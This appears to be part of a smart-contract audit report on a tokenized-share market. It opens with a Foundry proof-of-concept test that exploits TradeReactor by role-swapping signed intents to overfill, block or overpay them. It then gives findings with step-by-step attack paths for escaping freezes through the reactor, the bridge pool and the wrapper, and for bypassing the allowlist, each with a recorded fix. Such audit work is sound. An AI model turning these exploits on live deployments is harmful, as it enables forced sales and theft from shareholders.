test/MK02RoleSwapPoC.t.sol

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Shares} from "../contracts/shares/base/Shares.sol";
import {SecondaryMarket} from "../contracts/market/SecondaryMarket.sol";
import {TradeReactor} from "../contracts/market/TradeReactor.sol";
import {Intent} from "../contracts/market/IntentHash.sol";
import {MockERC20} from "../contracts/mocks/MockERC20.sol";

import {Test} from "forge-std/Test.sol";

/**
 * A signed intent does not say which side of the trade it is on, and both sides share one fill
 * counter that is measured in a different unit per side. The four tests below are, in order: a
sell
 * intent filled to 2N-1 against a signed maximum of N, the dust fill that permanently blocks
an
 * intent, the negative control showing that a market-created order cannot be swapped, and the
 * variant where a buy intent placed in the seller slot receives more than it signed for.
 *
 * Everything here is the production code: the real Shares token (0 decimals), the real
 * SecondaryMarket and the real TradeReactor. Intent hashes come from the deployed contracts
via
 * IntentHash, and the EIP-712 domain separator is read out of the reactor's own storage, so no
 * signing logic is reimplemented in this test; each signature is additionally handed back to
 * TradeReactor.verify, which attests it. The only stand-in is the currency, an external
 * stablecoin with no contract in this repository.
 */
contract MK02RoleSwapPoC is Test {
    Shares shares;
    MockERC20 currency;
    TradeReactor reactor;
    SecondaryMarket market;

    uint256 constant VICTIM_KEY = 0xA11CE;
    uint256 constant BUYER_KEY = 0xB0B;
    uint256 constant ATTACKER_KEY = 0xBAD;

    address issuer;
    address victim;
    address honestBuyer;
    address attacker;

    uint256 constant HOLDING = 100; // whole shares, the token has 0 decimals
    uint256 constant SIGNED_SHARES = 10; // the signed maximum, N
    uint256 constant SIGNED_PRICE = 900e18; // 90 currency per share
    uint256 constant ROUND_PRICE = 90e18; // buys one share per round, at the signed rate
    uint256 constant ROUNDS = SIGNED_SHARES - 1; // the bound is 2N-1
```

M-02 (continued)

```
    function setUp() public {
        issuer = makeAddr("issuer");
        victim = vm.addr(VICTIM_KEY);
        honestBuyer = vm.addr(BUYER_KEY);
        attacker = vm.addr(ATTACKER_KEY);

        shares = new Shares("SHR", "Example AG Shares", "https://example.com/terms", issuer);
        currency = new MockERC20("Currency", "ZCHF");
        reactor = new TradeReactor();
        market = new SecondaryMarket(issuer, address(currency), address(shares),
address(reactor), address(0));

        vm.startPrank(issuer);
        shares.mint(victim, HOLDING);
        shares.mint(attacker, HOLDING);
        vm.stopPrank();
        currency.mint(honestBuyer, SIGNED_PRICE);
        currency.mint(victim, SIGNED_PRICE);
        currency.mint(attacker, ROUND_PRICE * ROUNDS);

        // Standing allowances to the reactor, as documented for infinite allowances. The
overfill
        // needs the victim's allowance to exceed the quantity they meant to sell; the dust
fill does not.
        vm.startPrank(victim);
        shares.approve(address(reactor), type(uint256).max);
        currency.approve(address(reactor), type(uint256).max);
        vm.stopPrank();
        vm.startPrank(attacker);
        shares.approve(address(reactor), type(uint256).max);
        currency.approve(address(reactor), type(uint256).max);
        vm.stopPrank();
        vm.prank(honestBuyer);
        currency.approve(address(reactor), type(uint256).max);
    }

    // --- helpers ---

    /// Signs an intent using the deployed contracts' own hash and domain separator.
    function _signRaw(uint256 key, Intent memory intent) internal view returns (bytes memory) {
        bytes32 domainSeparator = vm.load(address(reactor), bytes32(0)); //
IntentVerifier.DOMAIN_SEPARATOR
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator,
market.getIntentHash(intent)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(key, digest);
        return abi.encodePacked(r, s, v);
    }

    /// As above, and the reactor itself attests signature, expiration and filler.
    function _sign(uint256 key, Intent memory intent) internal returns (bytes memory sig) {
        sig = _signRaw(key, intent);
        reactor.verify(intent, sig);
    }

    function _sell(address owner, address filler, uint256 sharesOut, uint256 currencyIn,
uint256 creation)
        internal
        view
        returns (Intent memory)
    {
```

M-02 (continued)

```
        return Intent(
            owner,
            filler,
            address(shares),
            sharesOut,
            address(currency),
            currencyIn,
            creation,
            block.timestamp + 1 days,
            new bytes(0)
        );
    }

    function _buy(address owner, uint256 currencyOut, uint256 sharesIn, uint256 creation)
        internal
        view
        returns (Intent memory)
    {
        return Intent(
            owner,
            address(0),
            address(currency),
            currencyOut,
            address(shares),
            sharesIn,
            creation,
            block.timestamp + 1 days,
            new bytes(0)
        );
    }

    // --- 1) the overfill: 2N-1 against a signed maximum of N ---

    function test_SellIntentFilledBeyondSignedMaximum() public {
        Intent memory victimSell = _sell(victim, address(0), SIGNED_SHARES, SIGNED_PRICE,
block.timestamp);
        bytes memory victimSig = _sign(VICTIM_KEY, victimSell);

        // The victim publishes the intent on chain, as the reactor invites them to.
        vm.prank(victim);
        reactor.signalIntent(victimSell, victimSig);

        // Honest, complete fill through the market: the victim sells exactly the N shares they
        // signed for and is paid the signed price less the market's trading fee.
        Intent memory honestBuy = _buy(honestBuyer, SIGNED_PRICE, SIGNED_SHARES,
block.timestamp);
        market.process(victimSell, victimSig, honestBuy, _sign(BUYER_KEY, honestBuy),
SIGNED_SHARES);

        uint256 tradingFee = SIGNED_PRICE * market.tradingFeeBips() / 10000;
        assertEq(shares.balanceOf(victim), HOLDING - SIGNED_SHARES, "victim sold the signed 10
shares");
        assertEq(shares.balanceOf(honestBuyer), SIGNED_SHARES, "buyer received them");
        assertEq(currency.balanceOf(victim), SIGNED_PRICE + SIGNED_PRICE - tradingFee, "paid
the signed price less fee");
        assertEq(reactor.getFilledAmount(victimSell), SIGNED_SHARES, "intent is fully filled");

        // The attacker's own intent neutralises the price gate: zero amountIn means zero ask,
and
        // one atomic unit of currency buys zero shares, so the check compares 0 < 0.
```

M-02 (continued)

```
        Intent memory attack = _buy(attacker, ROUND_PRICE * ROUNDS, 0, block.timestamp);
        bytes memory attackSig = _sign(ATTACKER_KEY, attack);

        assertEq(reactor.getAsk(attack, 1), 0, "zero amountIn gives a zero ask");
        assertEq(reactor.getBid(victimSell, 1), 0, "share/currency granularity gives a zero
bid");
        reactor.verifyPriceMatch(victimSell, attack);

        // The victim's already-filled intent is passed straight to the reactor in the buyer
slot,
        // where its cap is read from amountIn (900e18 currency) instead of amountOut (10
shares).
        for (uint256 i = 0; i < ROUNDS; i++) {
            vm.prank(attacker);
            reactor.process(attack, attackSig, victimSell, victimSig, ROUND_PRICE, 0);
        }

        uint256 sold = HOLDING - shares.balanceOf(victim);
        assertEq(sold, 2 * SIGNED_SHARES - 1, "the victim sold 2N-1 shares");
        assertGt(sold, victimSell.amountOut, "more than the signed maximum");
        assertEq(shares.balanceOf(attacker), HOLDING + ROUNDS, "attacker took N-1 shares");

        // The attacker paid the signed rate, so the harm is the forced sale, not underpayment.
        assertEq(currency.balanceOf(attacker), 0, "attacker paid 90 per extra share");
        assertEq(
            currency.balanceOf(victim),
            SIGNED_PRICE + SIGNED_PRICE - tradingFee + ROUND_PRICE * ROUNDS,
            "victim received the signed rate for every extra share"
        );

        // One counter, two units: 810e18 + 10 against a signed maximum of 10 shares.
        assertEq(reactor.getFilledAmount(victimSell), ROUND_PRICE * ROUNDS + SIGNED_SHARES,
"counter mixes units");
    }

    // --- 2) the cheap variant: no capital, no approval headroom, the intent is blocked ---

    function test_SellIntentBlockedWithoutMovingShares() public {
        Intent memory victimSell = _sell(victim, address(0), SIGNED_SHARES, SIGNED_PRICE,
block.timestamp);
        bytes memory victimSig = _sign(VICTIM_KEY, victimSell);

        vm.prank(victim);
        reactor.signalIntent(victimSell, victimSig);

        // 10 atomic units of currency in the seller slot: the execution price rounds down to
zero.
        Intent memory attack = _buy(attacker, SIGNED_SHARES, 0, block.timestamp);
        vm.prank(attacker);
        reactor.process(attack, _sign(ATTACKER_KEY, attack), victimSell, victimSig,
SIGNED_SHARES, 0);

        assertEq(shares.balanceOf(victim), HOLDING, "no shares moved");
        assertEq(reactor.getFilledAmount(victimSell), SIGNED_SHARES, "counter says fully
filled");

        // Every genuine fill through the market now reverts, until the intent expires.
        Intent memory honestBuy = _buy(honestBuyer, SIGNED_PRICE, SIGNED_SHARES,
block.timestamp);
        bytes memory honestSig = _sign(BUYER_KEY, honestBuy);
```

M-02 (continued)

```
        vm.expectRevert(TradeReactor.OverFilled.selector);
        market.process(victimSell, victimSig, honestBuy, honestSig, SIGNED_SHARES);
    }

    // --- 3) negative control: an order created through the market cannot be swapped ---

    function test_MarketCreatedOrderCannotBeSwapped() public {
        // createSellOrder pins filler to the market, which TradeReactor.verify then restricts.
        Intent memory pinnedSell = _sell(victim, address(market), SIGNED_SHARES, SIGNED_PRICE,
block.timestamp);
        bytes memory pinnedSig = _signRaw(VICTIM_KEY, pinnedSell);
        assertEq(market.createSellOrder(victim, SIGNED_SHARES, SIGNED_PRICE, 1 days).filler,
address(market));

        Intent memory attack = _buy(attacker, ROUND_PRICE, 0, block.timestamp);
        bytes memory attackSig = _sign(ATTACKER_KEY, attack);

        vm.prank(attacker);
        vm.expectRevert(TradeReactor.InvalidFiller.selector);
        reactor.process(attack, attackSig, pinnedSell, pinnedSig, ROUND_PRICE, 0);
    }

    // --- 4) the variant with no zero amounts: a buy intent used in the seller slot ---

    function test_BuyIntentInSellerSlotExceedsSignedQuantity() public {
        // The victim signs one honest buy intent: at most 10 currency out, for 10 shares.
        Intent memory victimBuy = _buy(victim, 10, 10, block.timestamp + 2);

        // The attacker offers 20 shares for 10 currency, created earlier, all amounts non-
zero.
        Intent memory attack = _sell(attacker, address(0), 20, 10, block.timestamp + 1);

        assertEq(reactor.getAsk(victimBuy, 1), 1, "victim's ask per unit");
        assertEq(reactor.getBid(attack, 1), 2, "attacker's bid per unit");

        // The victim's buy intent is passed in the seller slot, where nothing caps what it
receives.
        vm.prank(attacker);
        reactor.process(victimBuy, _sign(VICTIM_KEY, victimBuy), attack, _sign(ATTACKER_KEY,
attack), 10, 0);

        assertEq(shares.balanceOf(victim), HOLDING + 20, "victim received 20 shares");
        assertGt(20, victimBuy.amountIn, "more than the signed 10");
        assertEq(currency.balanceOf(victim), SIGNED_PRICE - 10, "victim paid its signed 10
currency");
    }
}
```

AKTIONARIAT

Fixed in commit `bb7d0b1`. Settlement accepts each intent only in the role defined by its token pair. Both fill counters use share amounts and cannot exceed the signed maximum.

AUDITOR

Verified.

M-03

A frozen holder can still move their shares out through the reactor, at no cost and with no counterparty

SEVERITY	IMPACT	LIKELIHOOD
Medium	**High**	**Medium**

DESCRIPTION

`freeze` types an address RESTRICTED (`ERC20Allowlistable.sol:89-91`), which `doc/allowlist.md:40` names as the response to “theft or loss”. A restricted address has exactly one opening, so that the issuer can pull the shares back to itself:

```
// ERC20Allowlistable.sol:218-221
} else if (isRestricted(from)) {
    if (!isAdmin(to)) {
        revert Allowlist_SenderIsForbidden(from);
    }
}
```

The reactor is an admin address that forwards on anyone's behalf. It pulls the shares into its own balance and sends them on: “Move tokens to reactor in order to implicitly allowlist the buyer in case TradeReactor is powerlisted” (`TradeReactor.sol:136` , “powerlisted” being this codebase's older name for ADMIN, `ERC20Flaggable.sol:70`). This finding is about that configuration; nothing in the repository sets it, but it is the one the routing exists for and the only one that admits new buyers without the issuer acting on each trade.

Both legs of a sale by a frozen holder then pass: the inbound leg by the exemption above, the outbound leg as an ordinary admin transfer, which also stamps the recipient ALLOWED (`:229-236`). Nothing in the trading path consults the allowlist, `verify` checks signature, expiry and filler only (`TradeReactor.sol:149-153`), and `isRestricted` is never called anywhere under `contracts/market/` .

It costs nothing and needs no buyer: the frozen holder signs a sell at price zero and a matching buy from a second address they control. `verifyPriceMatch` accepts it, no balance or allowance is needed for a zero-value currency leg, nothing requires the two owners to differ, and the share leg is still non-zero, so the second address is stamped ALLOWED on arrival.

Freezing blocks none of the preparation: an approval does not reach the transfer hook (`ERC20Flaggable.sol:326`), signing is off-chain, and an intent signed before the freeze stays valid because nothing re-checks the owner's type at settlement. The issuer has no targeted response either: `process` is public, an intent naming no filler may be submitted by anyone (`:152`), and cancellation is open only to the intent's owner or its named filler (`:155-158`). What remains is `pause()` , or demoting the reactor before the settlement it is meant to prevent.

The root is that one flag bit does two jobs: `isAdmin` gates both the exemption at `:219` and the automatic admission at `:229` . A forwarding contract needs the second and must not have the first, and no configuration separates them.

M-03 (continued)

ATTACK PATH

1. The reactor is typed ADMIN, the configuration its routing is written for.
2. Shares are stolen or a key is compromised, and the issuer freezes the address.
3. The frozen address approves the reactor and signs a sell intent at price zero naming no filler. Neither step is a transfer, so neither is blocked.
4. A second address under the same control signs the matching buy, and either one calls `TradeReactor.process` directly.
5. The shares leave the frozen address under the restricted-to-admin exemption and arrive at the second address, which is stamped ALLOWED in the same transfer, for the cost of gas.

IMPACT

A frozen holder empties the frozen address in one transaction and keeps the position on an address the issuer has not frozen. The freeze does not hold, and it is the issuer's only immediate answer to a stolen or compromised holding: `pause()` stops the whole token, and the burn path in `Recoverable` waits 184 days. Against a real buyer the frozen address is also paid, in a currency the issuer does not control.

RECOMMENDATION

One option is to separate the two powers `isAdmin` currently grants, so that a contract forwarding on other people's behalf can admit recipients without also being a permitted destination for a restricted sender.

AKTIONARIAT

Fixed in commit `a259530`. A frozen address can send only to the token owner, so transfers to the market revert regardless of its address type.

AUDITOR

Verified.

M-04

intent.creation is never validated, yet it alone decides which side captures the spread

SEVERITY	IMPACT	LIKELIHOOD
Medium	**Medium**	**High**

DESCRIPTION

A buy and a sell match when the bid is at least the ask, and the documented rule is that the trade then executes at the earlier order's price: *"whoever posted first gets their exact price"* (`doc/secondarymarket.md:32`). The earlier side is therefore filled at exactly its own limit, and the difference between bid and ask goes to the later side. That rule is implemented by comparing the two `creation` fields:

```
// TradeReactor.sol:100-104
function getTotalExecutionPrice(Intent calldata buyerIntent, Intent calldata sellerIntent,
uint256 tradedAmount) public pure returns (uint256) {
    verifyPriceMatch(buyerIntent, sellerIntent);
    uint256 executionPrice = (sellerIntent.creation >= buyerIntent.creation) ?
getBid(buyerIntent, tradedAmount) : getAsk(sellerIntent, tradedAmount);
    return executionPrice;
}
```

`creation` is never checked against anything. `verify` (`TradeReactor.sol:149-153`) validates the signature, the expiration and the filler, and `IntentHash` merely includes `creation` in the EIP-712 hash, so the signature binds the signer to the value they chose, it does not validate it. Any value produces a valid intent.

Because the later side keeps the difference, signing `creation = type(uint256).max` turns the rule around: the signer is treated as the later order in every match, so even when they genuinely posted first they collect the spread instead of being filled at their own limit. Someone resting orders on the market, the party the rule is meant to fill at their exact price, can therefore take the improvement from every counterparty who matches them.

Suppose such a resting sell intent asks 90 CHF per share and a buyer later signs a bid of up to 100. The comparison always favours the seller, the price becomes `getBid(buyer)` , and the trade settles at 100; the seller keeps 10 CHF per share above their own ask. The same works in reverse for a buyer, and ties go to the seller because the comparison is `>=` , so a buyer who sets the maximum cannot neutralise a seller who does the same. The move costs nothing and needs no privilege, so a rational participant always makes it.

Restricting execution to a trusted router does not address this. The router controls *who may submit* a matched pair, not *what the intents contain*: they are EIP-712 structs signed off-chain by the users themselves, and `createBuyOrder` / `createSellOrder` (`SecondaryMarket.sol:114-124`) are `view` helpers that merely suggest `block.timestamp` , which nothing obliges a signer to use. A manipulated intent passes through the normal path unchanged, since neither the market nor the router constrains `creation` , and a pair can also skip them entirely through the public `TradeReactor.process` .

M-04 (continued)

ATTACK PATH

1. A seller signs a sell intent asking 90 CHF per share and sets `creation = type(uint256).max` instead of the current timestamp, then makes it public.
2. A buyer signs an intent to buy 10 shares at up to 100 CHF each, built through the market helper, so its `creation` is the current timestamp.
3. Both intents are submitted for matching; the router relays them unchanged.
4. `getTotalExecutionPrice` sees `sellerIntent.creation >= buyerIntent.creation`, treats the seller as the later order despite it having been posted first, and prices the trade at the buyer's bid.
5. The trade settles at 100 CHF per share instead of the seller's own ask of 90, and the seller keeps the 10 CHF per share difference.

IMPACT

Anyone who stamps the maximum `creation` always takes the spread, an unfair advantage over participants who fill the field honestly and are consequently filled at their own limit price on every trade, paying more or receiving less than they otherwise would.

RECOMMENDATION

Validate `creation` on-chain, so that it cannot be set to an arbitrary value, for example by rejecting any intent whose `creation` lies in the future at verification time.

AKTIONARIAT

Fixed in commit `bb7d0b1`. Verification rejects intents whose creation time is in the future.

AUDITOR

Verified.

M-05

The documented mix of free-float and allowlisted holders cannot be served by one reactor, and the only type that admits both converts the free side

SEVERITY	IMPACT	LIKELIHOOD
Medium	**Medium**	**Medium**

DESCRIPTION

`TradeReactor.process` routes the shares through itself instead of sending them from the seller to the buyer:

```
// TradeReactor.sol:136-141
// Move tokens to reactor in order to implicitly allowlist the buyer in case TradeReactor is
powerlisted
IERC20(sellerIntent.tokenOut).safeTransferFrom(sellerIntent.owner, address(this),
tradedTokens);
...
IERC20(sellerIntent.tokenOut).safeTransfer(buyerIntent.owner, tradedTokens); // transfer sold
tokens to buyer
```

The reactor's own type therefore sits between the two sides, and the allowlist judges each leg on its own, which changes the answer: `ALLOWED → ALLOWED` is permitted directly, `ALLOWED → FREE → ALLOWED` is not.

For a seller and a buyer that are each FREE or ALLOWED, every available type excludes somebody:

REACTOR TYPE	LEG 1: SELLER → REACTOR	LEG 2: REACTOR → BUYER	WHO IS EXCLUDED
FREE	passes for a FREE seller; an ALLOWED seller is rejected at `:223-224`	passes for either buyer	allowlisted sellers
ALLOWED	passes for either seller	passes for an ALLOWED buyer; a FREE buyer is rejected at `:223-224`	free-float buyers
ADMIN	passes for either seller	passes for either buyer	nobody, at the cost below

The types are fixed (`ERC20Allowlistable.sol:40-43`), and a RESTRICTED reactor cannot receive the first leg (`:216-217`), so those three are the whole choice.

A mixed base is not a misconfiguration but one of the arrangements the documentation provides for, described there as “somewhat extraordinary”: the issuer may declare treasury shares free float and sell them “while keeping transfer restrictions for the existing shareholders in place” (`doc/allowlist.md:31`).

ADMIN admits both groups by removing the distinction. It stamps every free-float buyer ALLOWED on a non-zero trade (`ERC20Allowlistable.sol:229-236`), and since the flag sits on the address rather than the shares (`:135-140`), the holding that buyer already had is restricted along with the shares just bought.

M-05 (continued)

Two reactors, one FREE and one ALLOWED, each with its own `SecondaryMarket` (`SecondaryMarketFactory.sol:18`), settle every trade the allowlist permits between FREE and ALLOWED holders, at the price of splitting the order book for one share class in two.

The reactor's type does not stay put either. An admin-typed seller, necessarily an ordinary account since intents are verified with `ecrecover` against `intent.owner` (`IntentVerifier.sol:38-50`), stamps a FREE reactor ALLOWED on the first leg, and where that trade's buyer is ALLOWED the change commits, so later trades to free-float buyers revert. Under ADMIN anyone can also admit themselves: `process` is public, `verify` accepts an intent naming no filler (`TradeReactor.sol:118, 149-153`), and the price may be zero.

ATTACK PATH

1. The issuer runs the documented arrangement: treasury shares FREE, existing shareholders ALLOWED.
2. The reactor is left FREE, and the primary sale works: treasury to free-float buyers.
3. An ALLOWED shareholder wants to sell, and leg 1 reverts, because an ALLOWED sender cannot pay into a FREE reactor.
4. The issuer retypes the reactor ALLOWED, and free-float buyers are rejected on leg 2 instead.
5. The issuer retypes the reactor ADMIN, the only setting that serves both through one market.
6. Each settlement now stamps the free-float buyer ALLOWED, restricting the holding they already had along with the shares they bought.

IMPACT

Free-float buyers lose the transferability of their whole holding, not only of the shares they bought, and can no longer sell to a free-float counterparty. The issuer cannot run the documented mixed arrangement on one market: two of the three usable types shut one group out, and the third converts the free side into the restricted one, trade by trade.

AKTIONARIAT

Acknowledged, by design: one market does not serve a mixed regime. We do not expect companies to run both regimes at the same time; they are all-free or all-allowed. Under a restricted regime the market is typed ALLOWED on the token, so it pays out only to addresses the issuer has listed, and the allowlist is the gate a buyer passes before buying (`doc/allowlist.md:43`). A company that does run both would use two `SecondaryMarket` contracts, one per regime. Documented in `doc/allowlist.md:55` .

AUDITOR

Agreed.

M-06

A frozen holder can bridge their position to another chain through the admin-typed CCIP pool, where the freeze does not follow

SEVERITY	IMPACT	LIKELIHOOD
Medium	**High**	**Low**

DESCRIPTION

A restricted address may still send to an admin address (`ERC20Allowlistable.sol:218-221`), the opening that lets the issuer's own contracts keep working around a freeze. The CCIP token pool is one of them, and it is the one that moves value off the chain.

The bridged asset on the home chain is the wrapped share token, against which the lock-release pool is deployed (`TokenDeploymentManagerSource.sol:186-191`). Sending across chains touches the allowlist exactly once: the router pulls the tokens straight from the holder into the pool (`token.safeTransferFrom(msg.sender, ...pool..., amount)` , `@chainlink/contracts-ccip/contracts/Router.sol:144-148`), after which `lockOrBurn` validates and emits, moving nothing (`@chainlink/contracts-ccip/contracts/pools/LockReleaseTokenPool.sol:52-63`). That single hook call is `from` = the frozen holder, `to` = the pool, and with the pool typed ADMIN the exemption lets it through.

Typing the pool ADMIN is a configuration the system admits, and it is the one the bridge's two directions point to. Inbound, an ALLOWED holder sending into the pool needs it to be ALLOWED or ADMIN, since `:222-225` rejects a FREE recipient. On the return leg the pool is itself the sender (`getToken().safeTransfer(releaseOrMintIn.receiver, localAmount)` , `@chainlink/contracts-ccip/contracts/pools/LockReleaseTokenPool.sol:67-82`), so paying a receiver that is not separately allowlisted needs it to be FREE or ADMIN. ADMIN is the only single type in both sets; ALLOWED works as well, but only for as long as every address that may ever bridge back has been listed first. Nothing in the repository decides it either way: the deployment path runs from `CCIPLockReleaseTokenPoolFactory.sol:36-51` through `CCIPTokenPoolFactory.sol:87-120` without a `setType` call, so the type is set, if at all, at deployment time, and this report does not establish which choice any given deployment made.

On the far side the tokens are minted to whatever address the sender named (`BridgedSharesUnderAgreement.sol:110-111`). Flags are stored per token (`ERC20Flaggable.sol:82`), so the freeze does not cross; with restrictions applicable there the mint stamps the receiver ALLOWED (`ERC20Allowlistable.sol:229-236`), without them the receiver is FREE and the balance is transferable onward at once.

Once the message is submitted, the issuer's answer is to catch it in flight. The receiver is visible in the source-chain message and delivery is asynchronous, so freezing that address on the destination chain, or pausing the destination token, makes the arriving mint revert (`ERC20Allowlistable.sol:215-217`); the window is the lane's delivery latency, and this repository configures no production lane (`tasks/ccip/const/CCIPAddresses.ts:8-65`). Winning that race holds the transfer rather than cancelling it; the message can be re-executed to the same receiver once the freeze is lifted, and the shares stay locked in the pool until the issuer pulls them back through its rebalancer path (`@chainlink/contracts-ccip/contracts/pools/LockReleaseTokenPool.sol:99-133`).

M-06 (continued)

ATTACK PATH

1. A lane is live, with pools registered on both chains and within their rate limits, and the lock-release pool is typed ADMIN on the wrapped share token, so that allowlisted holders can bridge out and un-allowlisted receivers can be paid on the way back.
2. Shares are stolen or a key is compromised, and the issuer freezes the address.
3. The frozen holder approves the CCIP router, which writes an allowance without reaching the transfer hook (`ERC20Flaggable.sol:326-329`).
4. It calls the router, naming a fresh address on another chain as the receiver.
5. The router pulls the balance into the pool; the restricted-to-admin exemption permits it, and the pool only records the lock.
6. The destination token mints to the named address, which carries no freeze there: ALLOWED if that token runs with restrictions, FREE and immediately transferable if it does not.

IMPACT

A frozen holder moves the full balance onto a chain where the restriction was never applied, to an address of their choosing. Stopping it means catching the outbound message and freezing the receiver, or pausing the destination token, within the delivery window, which holds the shares in place rather than returning them. Reapplying the freeze after delivery works only if the holder has not moved again, which on a destination token without restrictions they can do in the next block.

RECOMMENDATION

One option is to separate the two powers `isAdmin` currently grants, so that a pool forwarding on holders' behalf can pay returning receivers without also being a permitted destination for a restricted sender. Since the pool is a Chainlink contract the issuer does not author, the check otherwise belongs in the token, refusing the restricted-sender exemption for the address registered as the pool.

AKTIONARIAT

Fixed in commit `a259530` . The transfer from a frozen holder to the pool now reverts regardless of the pool type. Freezes remain local to each chain.

AUDITOR

Verified.

M-07

A frozen holder can mint a wrapped claim on their shares to any address, and freezing them on the wrapper too does not stop it

SEVERITY	IMPACT	LIKELIHOOD
Medium	**High**	**Medium**

DESCRIPTION

`freeze` types an address RESTRICTED (`ERC20Allowlistable.sol:89-91`), which `doc/allowlist.md:40` names as the response to “theft or loss”. A restricted address keeps one opening, so that the shares can still be moved to an admin address:

```
// ERC20Allowlistable.sol:218-222
} else if (isRestricted(from)) {
    if (!isAdmin(to)) {
        revert Allowlist_SenderIsForbidden(from);
    }
} else if (!isAdmin(to) && !isAllowed(to)) {
```

The wrapper is such an address on the base token, and `wrap` is a single call needing no counterparty, signature or fee:

```
// SharesUnderAgreement.sol:121-126
function wrap(address sender, address recipient, uint256 amount) internal requireBinding
returns (uint256) {
    base.safeTransferFrom(sender, address(this), amount);
    _mint(recipient, amount);
    emit Wrapped(address(base), sender, recipient, amount);
    return amount;
}
```

The first leg is a base transfer from the frozen holder to the wrapper, permitted by the exemption above. The second is where the freeze stops following the value: `_mint` invokes the hook as `_beforeTokenTransfer(address(0), recipient, amount)` (`ERC20Flaggable.sol:258-259`), so the holder's type on the wrapper is never read, and freezing them there as well, the natural precaution, changes nothing. A fresh recipient comes out of it unflagged where the wrapper has never been switched to applicable, leaving the claim freely transferable, or stamped ALLOWED where it has (`ERC20Allowlistable.sol:229-236`), leaving it inside that token's regime but unfrozen.

The precondition is that the wrapper is typed ADMIN on the base token. Nothing in the repository sets that type, but it is the only static typing that serves a base token running with restrictions: inbound, an ALLOWED holder needs a recipient that is ALLOWED or ADMIN (`ERC20Allowlistable.sol:222-225`); outbound, the wrapper must reach addresses nobody vetted: the acquirer in `DragAlong.acceptOffer` (`DragAlong.sol:131`), the successor in `executeMigration` (`Modification.sol:141-142`), which an ALLOWED sender cannot do. The alternative is not another type but allowlisting every prospective buyer and successor on the base token.

M-07 (continued)

The same exemption carries the reverse crossing, more weakly: a holder frozen on the wrapper can `unwrap`, the burn leg passing as a transfer to the zero address (`ERC20Flaggable.sol:293-294`) while that address is ADMIN, which it is only where the wrapper's restrictions are switched on (`ERC20Allowlistable.sol:78-84`), and only once the agreement has stopped binding. A second freeze stops that direction at the payout, rather than the burn, where the holder is a forbidden receiver on the base (`:216-217`), unless an acquisition or a default migration replaced the base first (`DragAlong.sol:133` , `Modification.sol:143`) with a token on which the holder was never frozen.

ATTACK PATH

1. The wrapper is typed ADMIN on the base token, and the agreement is still binding, as it is until a termination or acquisition (`SharesUnderAgreement.sol:64`).
2. Shares are stolen or a key is compromised, and the issuer freezes the address, on the base token and on the wrapper.
3. The frozen address approves the wrapper. An approval writes an allowance and nothing else (`ERC20Flaggable.sol:326-329`), so it never reaches the transfer hook.
4. It calls the public `wrap(recipient, amount)` (`SharesUnderAgreement.sol:117-119`), naming a fresh address, which carries no type of its own.
5. The base leg passes under the restricted-to-admin exemption; the mint leg is judged on `address(0)` and the recipient, so neither freeze applies.
6. The recipient holds a claim on the same underlying shares. The `Wrapped` event names it (`:124`), so the issuer can freeze it afterwards, but the balance has already left.

IMPACT

The freeze is the issuer's immediate answer to a stolen or compromised holding, and here it fails even when applied correctly to both contracts. The attacker converts the frozen balance into a claim on the same shares, held by an address chosen at the moment of the transfer and unfrozen by construction, with no counterparty and nothing the issuer can interpose. Demoting the wrapper to ALLOWED beforehand blocks it, at the cost of the payouts that typing exists for; what remains otherwise is `pause()` , which stops the token for everyone, or the burn in `Recoverable` , which waits 184 days.

M-07 (continued)

RECOMMENDATION

One option is to separate the two powers `isAdmin` currently grants, so that a contract holding shares on other people's behalf can admit recipients to the allowlist without also being a permitted destination for a restricted sender, leaving that exemption to the address the issuer recovers to. Another is to have the wrapper reject restricted senders itself, checking the base token's `isRestricted` before it accepts the shares.

AKTIONARIAT

Fixed in commit `a259530`. A frozen holder cannot transfer base shares to the wrapper. A holder frozen on the wrapper also cannot burn wrapped shares to unwrap.

AUDITOR

Verified.

M-08

A shareholder can open the issuer's offering to any address by wrapping one share to it

SEVERITY	IMPACT	LIKELIHOOD
Medium	**Medium**	**Medium**

DESCRIPTION

In a restricted company the factory configures two things (`AktionariatFactory.sol:252-255`):

- the zero address is ADMIN, so every mint makes its recipient ALLOWED;
- the wrapper is ADMIN on the base token.

Anyone can wrap base shares and choose who receives the wrapped tokens:

```
// Wrapping.sol:72-80
function wrap(address recipient, uint256 amount) external returns (uint256) {
    return wrap(msg.sender, recipient, amount);
}
function wrap(address sender, address recipient, uint256 amount) requireBinding internal
returns(uint256) {
    base.safeTransferFrom(sender, address(this), amount);
    _mint(recipient, amount);
```

The base tokens go to the wrapper, which is allowed because the wrapper is ADMIN. The wrapped tokens are minted to the recipient, and since the mint comes from the zero address, the recipient becomes ALLOWED.

So a holder can make any address ALLOWED. Without `wrap` the holder could not even send shares to such an address: a transfer from an ALLOWED holder to an unapproved address reverts.

This requires a company in which wrapped shares and base shares that are not yet wrapped exist at the same time, so that a holder of base shares can still call `wrap` .

The allowlist is the issuer's gate. The documentation says the `DirectInvestment` and the market “can only pay out to addresses the issuer has typed, so the allowlist is the gate an investor passes before buying” (`doc/allowlist.md:43`). With `wrap` , any holder decides who passes that gate instead of the issuer.

ATTACK PATH

1. H holds unwrapped base shares in a restricted company, for example shares the issuer minted to H.
2. Z is an address the issuer never approved.
3. H calls `wrap(Z, 1)` .
4. Z is now ALLOWED on the wrapped token.
5. Z buys wrapped shares from the issuer's `DirectInvestment` through the public `PaymentHub` , and can buy from other holders.

M-08 (continued)

IMPACT

The issuer loses control over who can hold and buy its restricted shares: an address it never approved can buy from the issuer's own offering and from other holders.

RECOMMENDATION

When `wrap` mints to someone other than the sender, it should not give the recipient a status it does not already have. Under restrictions, require the recipient to be ALLOWED or ADMIN already.

AKTIONARIAT

Fixed in commit `bf0d1257`. The public wrap function with an arbitrary recipient was removed. Holders can wrap only to their own address; issuer-directed minting remains available.

AUDITOR

Verified.

L-01

Disabling on-chain buying also blocks settlement of bank orders, a documented capability that is no longer present

SEVERITY	IMPACT	LIKELIHOOD
Low	**Low**	**Medium**

DESCRIPTION

Shares can be paid for in two independent ways: on-chain through the `PaymentHub`, or off-chain by bank transfer, which the issuer settles afterwards by calling `notifyTradeAndTransfer` once the payment has been confirmed (`doc/market.md:20`).

The contract's own version history records the independence of these two paths as a feature added in v2:

```
// DirectInvestment.sol:33
// Version 2: added ability to process bank orders even if buying disabled
```

